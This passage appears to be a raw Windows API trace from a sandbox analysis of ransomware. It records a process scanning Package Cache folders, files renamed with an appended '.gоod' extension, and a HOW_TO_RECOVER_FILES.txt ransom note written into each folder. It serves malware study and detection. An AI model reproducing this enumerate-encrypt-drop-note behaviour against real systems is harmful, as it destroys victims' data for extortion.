hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28a88fb0, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x28a88fb0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x28a88fb0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0143.272] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x28a88fb0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x28a88fb0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0143.273] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0143.273] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0143.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0143.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0143.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0143.273] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86", lpFilePart=0x0) returned 0x70 [0143.273] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x28a88fb0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x28a88fb0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0143.273] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x28a88fb0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x28a88fb0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.274] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x28171d55, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf36ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab.gоod", cAlternateFileName="CAB1CA~1.GOD")) returned 1 [0143.274] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28a88fb0, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x28a88fb0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x28a88fb0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0143.274] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x28a88fb0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x23010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 1 [0143.274] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0143.274] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0143.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0143.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0143.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0143.275] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86", lpFilePart=0x0) returned 0x70 [0143.275] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x28a88fb0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x28a88fb0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0143.275] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x28a88fb0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x28a88fb0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.275] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x28171d55, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf36ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab.gоod", cAlternateFileName="CAB1CA~1.GOD")) returned 1 [0143.275] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28a88fb0, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x28a88fb0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x28a88fb0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0143.275] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x28a88fb0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x23010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 1 [0143.276] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x28a88fb0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x23010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 0 [0143.276] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0143.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0143.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0143.276] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x89 [0143.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0143.276] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0143.277] GetFileType (hFile=0x644) returned 0x1 [0143.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0143.277] GetFileType (hFile=0x644) returned 0x1 [0143.278] WriteFile (in: hFile=0x644, lpBuffer=0x359f058*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x359f058*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0143.279] CloseHandle (hObject=0x644) returned 1 [0143.279] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x74 [0143.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecee0) returned 1 [0143.279] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0143.280] GetFileType (hFile=0x644) returned 0x1 [0143.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece50) returned 1 [0143.280] GetFileType (hFile=0x644) returned 0x1 [0143.280] WriteFile (in: hFile=0x644, lpBuffer=0x35a2980*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ecfa8, lpOverlapped=0x0 | out: lpBuffer=0x35a2980*, lpNumberOfBytesWritten=0x202ecfa8*=0x5d0, lpOverlapped=0x0) returned 1 [0143.281] CloseHandle (hObject=0x644) returned 1 [0143.281] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6b [0143.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0143.282] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0143.282] GetFileType (hFile=0x644) returned 0x1 [0143.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0143.283] GetFileType (hFile=0x644) returned 0x1 [0143.283] WriteFile (in: hFile=0x644, lpBuffer=0x35a6278*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x35a6278*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0143.284] CloseHandle (hObject=0x644) returned 1 [0143.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0143.284] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpFilePart=0x0) returned 0x47 [0143.284] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x29d2b756, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x29d2b756, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0143.285] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x29d2b756, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x29d2b756, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.285] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29d2b756, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x29d2b756, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x29d2b756, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0143.285] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x292bb098, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm.gоod", cAlternateFileName="STATER~1.GOD")) returned 1 [0143.285] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x29d2b756, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6f438, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe.gоod", cAlternateFileName="VCREDI~1.GOD")) returned 1 [0143.285] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0143.285] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0143.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0143.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0143.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0143.286] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpFilePart=0x0) returned 0x47 [0143.286] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x29d2b756, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x29d2b756, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0143.286] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x29d2b756, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x29d2b756, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.286] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29d2b756, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x29d2b756, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x29d2b756, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0143.286] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x292bb098, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm.gоod", cAlternateFileName="STATER~1.GOD")) returned 1 [0143.286] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x29d2b756, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6f438, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe.gоod", cAlternateFileName="VCREDI~1.GOD")) returned 1 [0143.287] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x29d2b756, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6f438, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe.gоod", cAlternateFileName="VCREDI~1.GOD")) returned 0 [0143.287] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0143.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0143.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0143.287] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x60 [0143.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0143.287] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0143.288] GetFileType (hFile=0x644) returned 0x1 [0143.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0143.288] GetFileType (hFile=0x644) returned 0x1 [0143.289] WriteFile (in: hFile=0x644, lpBuffer=0x35b86f8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x35b86f8*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0143.290] CloseHandle (hObject=0x644) returned 1 [0143.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0143.290] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpFilePart=0x0) returned 0x52 [0143.291] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b2a82ec, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0143.291] FindNextFileW (in: 